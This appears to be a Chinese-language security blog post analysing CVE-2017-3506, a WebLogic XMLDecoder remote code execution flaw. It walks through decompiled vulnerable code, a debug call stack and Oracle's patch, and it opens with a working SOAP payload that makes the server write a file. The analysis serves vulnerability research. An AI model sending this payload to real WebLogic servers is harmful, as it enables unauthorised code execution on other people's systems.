XMLDecoder RCE起源: CVE-2017-3506

0x00 描述

CVE-2017-3506是一个XML Decoder RCE,并且在这个漏洞之后,针对Oracle发布的补丁,又陆续出现了其他的绕过方式,出现了CVE-2017-10271,CVE-2019-2725等。

本文是介绍起源,即CVE-2017-3506。

0x01 PoC

Weblogic: 10.3.6

Post URL: http://172.16.100.97:7001/wls-wsat/CoordinatorPortType

Post Body:

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
	<soapenv:Header>
        <work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
            <java version="1.6.0" class="java.beans.XMLDecoder">
                <object class="java.io.PrintWriter">
                    <string>servers/AdminServer/tmp/_WL_internal/wls-wsat/54p17w/war/test.txt</string><void method="println">
                    <string>xmldecoder_vul_test444</string></void><void method="close"/>
                </object>
            </java>
        </work:WorkContext>
    </soapenv:Header>
    <soapenv:Body/>
</soapenv:Envelope>

信息 1

##0x02 漏洞描述

本小节主要描述cve-2017-3506的漏洞代码。漏洞点主要是processRequest这个函数。

  1. processRequest

    weblogic/wsee/jaxws/workcontext/WorkContextServerTube.class

     public NextAction processRequest(Packet var1) {
         this.isUseOldFormat = false;
         if (var1.getMessage() != null) {
             HeaderList var2 = var1.getMessage().getHeaders();
             Header var3 = var2.get(WorkAreaConstants.WORK_AREA_HEADER, true);
             if (var3 != null) {
                 this.readHeaderOld(var3);
                 this.isUseOldFormat = true;
             }
       
             Header var4 = var2.get(this.JAX_WS_WORK_AREA_HEADER, true);
             if (var4 != null) {
                 this.readHeader(var4);
             }
         }
       
         return super.processRequest(var1);
     }
    

    信息 2

  2. readHeaderOld

weblogic/wsee/jaxws/workcontext/WorkContextTube.class

  protected void readHeaderOld(Header var1) {
      try {
          XMLStreamReader var2 = var1.readHeader();
          var2.nextTag();
          var2.nextTag();
          XMLStreamReaderToXMLStreamWriter var3 = new XMLStreamReaderToXMLStreamWriter();
          ByteArrayOutputStream var4 = new ByteArrayOutputStream();
          XMLStreamWriter var5 = XMLStreamWriterFactory.create(var4);
          var3.bridge(var2, var5);
          var5.close();
          WorkContextXmlInputAdapter var6 = new WorkContextXmlInputAdapter(new ByteArrayInputStream(var4.toByteArray()));	---3.1
          this.receive(var6);	---3.2
      } catch (XMLStreamException var7) {
          throw new WebServiceException(var7);
      } catch (IOException var8) {
          throw new WebServiceException(var8);
      }
  }

信息 3

3.1处,readHeaderOld会构造一个WorkContextXmlInputAdapter实例,然后调用receive接收这个实例。漏洞点就在这里,注意这个WorkContextXmlInputAdapter类,这是漏洞的根源,补丁也在这个类里面,以及后续衍变的其他漏洞也跟这个类/补丁有关系。

WorkContextXmlInputAdapter的构造函数会直接new XMLDecoder,而3.2处的receive会调用到WorkContextXmlInputAdapter的readUTF,即调用XMLDecoder的readObject,这是典型的xml decoder rce漏洞了。

  1. WorkContextXmlInputAdapter

weblogic/wsee/workarea/WorkContextXmlInputAdapter.class

  public final class WorkContextXmlInputAdapter implements WorkContextInput {
      private final XMLDecoder xmlDecoder;
  
      public WorkContextXmlInputAdapter(InputStream var1) {
          this.xmlDecoder = new XMLDecoder(var1);
      }
  
      public WorkContextXmlInputAdapter(XMLDecoder var1) {
          this.xmlDecoder = var1;
      }
  
      public String readASCII() throws IOException {
          return (String)this.xmlDecoder.readObject();
      }
  
      public WorkContext readContext() throws IOException, ClassNotFoundException {
          ...
      }
  
      public void readFully(byte[] var1) throws IOException {
          byte[] var2 = (byte[])((byte[])this.xmlDecoder.readObject());
          System.arraycopy(var2, 0, var1, 0, var2.length);
      }
  
      public void readFully(byte[] var1, int var2, int var3) throws IOException {
          byte[] var4 = (byte[])((byte[])this.xmlDecoder.readObject());
          System.arraycopy(var4, 0, var1, var2, var3);
      }
  
      public int skipBytes(int var1) throws IOException {
          throw new UnsupportedOperationException();
      }
  
      public boolean readBoolean() throws IOException {
          return (Boolean)this.xmlDecoder.readObject();
      }
  
      public byte readByte() throws IOException {
          return (Byte)this.xmlDecoder.readObject();
      }
  
      public int readUnsignedByte() throws IOException {
          return (Integer)this.xmlDecoder.readObject();
      }
  
      public short readShort() throws IOException {
          return (Short)this.xmlDecoder.readObject();
      }
  
      public int readUnsignedShort() throws IOException {
          return (Integer)this.xmlDecoder.readObject();
      }
  
      public char readChar() throws IOException {
          return (Character)this.xmlDecoder.readObject();
      }
  
      public int readInt() throws IOException {
          return (Integer)this.xmlDecoder.readObject();
      }
  
      public long readLong() throws IOException {
          return (Long)this.xmlDecoder.readObject();
      }
  
      public float readFloat() throws IOException {
          return (Float)this.xmlDecoder.readObject();
      }
  
      public double readDouble() throws IOException {
          return (Double)this.xmlDecoder.readObject();
      }
  
      public String readLine() throws IOException {
          return (String)this.xmlDecoder.readObject();
      }
  
      public String readUTF() throws IOException {
          return (String)this.xmlDecoder.readObject();
      }
  
      public static void main(String[] var0) throws Exception {
          ...
  }

信息 4

可以看到,在我调试的这个版本上,WorkContextXmlInputAdapter类还未打上补丁,简单粗暴,构造函数里面直接生成XMLDecoder实例,而下面各种方法直接调用readObject

##0x03 调试

上一小节描述了漏洞的关键代码,本小节描述一下PoC跑起来的调试信息。

先看下调用栈:

processRequest:38, WorkContextServerTube (weblogic.wsee.jaxws.workcontext)
__doRun:866, Fiber (com.sun.xml.ws.api.pipe)
_doRun:815, Fiber (com.sun.xml.ws.api.pipe)
doRun:778, Fiber (com.sun.xml.ws.api.pipe)
runSync:680, Fiber (com.sun.xml.ws.api.pipe)
process:403, WSEndpointImpl$2 (com.sun.xml.ws.server)
handle:539, HttpAdapter$HttpToolkit (com.sun.xml.ws.transport.http)
handle:253, HttpAdapter (com.sun.xml.ws.transport.http)
handle:140, ServletAdapter (com.sun.xml.ws.transport.http.servlet)
handle:171, WLSServletAdapter (weblogic.wsee.jaxws)
run:708, HttpServletAdapter$AuthorizedInvoke (weblogic.wsee.jaxws)
doAs:363, AuthenticatedSubject (weblogic.security.acl.internal)
runAs:146, SecurityManager (weblogic.security.service)
authenticatedInvoke:103, ServerSecurityHelper (weblogic.wsee.util)
run:311, HttpServletAdapter$3 (weblogic.wsee.jaxws)
post:336, HttpServletAdapter (weblogic.wsee.jaxws)
doRequest:99, JAXWSServlet (weblogic.wsee.jaxws)
service:99, AbstractAsyncServlet (weblogic.servlet.http)
service:820, HttpServlet (javax.servlet.http)
run:227, StubSecurityHelper$ServletServiceAction (weblogic.servlet.internal)
invokeServlet:125, StubSecurityHelper (weblogic.servlet.internal)
execute:301, ServletStubImpl (weblogic.servlet.internal)
execute:184, ServletStubImpl (weblogic.servlet.internal)
wrapRun:3732, WebAppServletContext$ServletInvocationAction (weblogic.servlet.internal)
run:3696, WebAppServletContext$ServletInvocationAction (weblogic.servlet.internal)
doAs:321, AuthenticatedSubject (weblogic.security.acl.internal)
runAs:120, SecurityManager (weblogic.security.service)
securedExecute:2273, WebAppServletContext (weblogic.servlet.internal)
execute:2179, WebAppServletContext (weblogic.servlet.internal)
run:1490, ServletRequestImpl (weblogic.servlet.internal)
execute:256, ExecuteThread (weblogic.work)
run:221, ExecuteThread (weblogic.work)

信息 5

关于weblogic的请求处理流程,我在另一篇文章中已经介绍过了。

针对这个请求,响应的是weblogic.wsee.jaxws.JAXWSWebAppServlet这个servlet的service函数,然后就一路向下走到了processRequest。

image-20200131112344073

信息 6

注意栈上没有JAXWSWebAppServlet的信息:

doRequest:99, JAXWSServlet (weblogic.wsee.jaxws)
service:99, AbstractAsyncServlet (weblogic.servlet.http)
service:820, HttpServlet (javax.servlet.http)

信息 7

这是因为JAXWSWebAppServlet继承、重载和重写关系造成的,JAXWSWebAppServlet本身没有实现service方法相关的代码,主要依靠父类的功能代码:

JAXWSWebAppServlet extends JAXWSDeployedServlet extends JAXWSServlet extends AbstractAsyncServlet extends HttpServlet

信息 8

大家有兴趣可以好好看看这个servlet的代码。

0x04 补丁

以下是针对CVE-2017-3506官方的补丁。

public WorkContextXmlInputAdapter(InputStream is) {
    ByteArrayOutputStream baos = new ByteArrayOutputStream();

    try {
        int next = false;

        for(int next = is.read(); next != -1; next = is.read()) {
            baos.write(next);
        }
    } catch (Exception var4) {
        throw new IllegalStateException("Failed to get data from input stream", var4);
    }

    this.validate(new ByteArrayInputStream(baos.toByteArray()));
    this.xmlDecoder = new XMLDecoder(new ByteArrayInputStream(baos.toByteArray()));
}

private void validate(InputStream is) {
    WebLogicSAXParserFactory factory = new WebLogicSAXParserFactory();

    try {
        SAXParser parser = factory.newSAXParser();
        parser.parse(is, new DefaultHandler() {
            public void startElement(String uri, String localName, String qName, Attributes attributes) throws SAXException {
                if (qName.equalsIgnoreCase("object")) {
                    throw new IllegalStateException("Invalid context type: object");
                }
            }
        });
    } catch (SAXException | IOException | ParserConfigurationException var5) {
        throw new IllegalStateException("Parser Exception", var5);
    }
}

信息 9

补丁中,WorkContextXmlInputAdapter的构造函数新加了一个validate的验证。但是validate的验证非常简单,就是SAX解析XML,看看标签是否有object,若有就退出。

因为补丁过于简单,很快就出现了CVE-2017-10271。

0x05 参考

  1. “缝缝补补的WebLogic:绕过的艺术” _https://www.freebuf.com/vuls/179579.html
  2. “SAX解析” _https://www.jianshu.com/p/1060abc8ed1e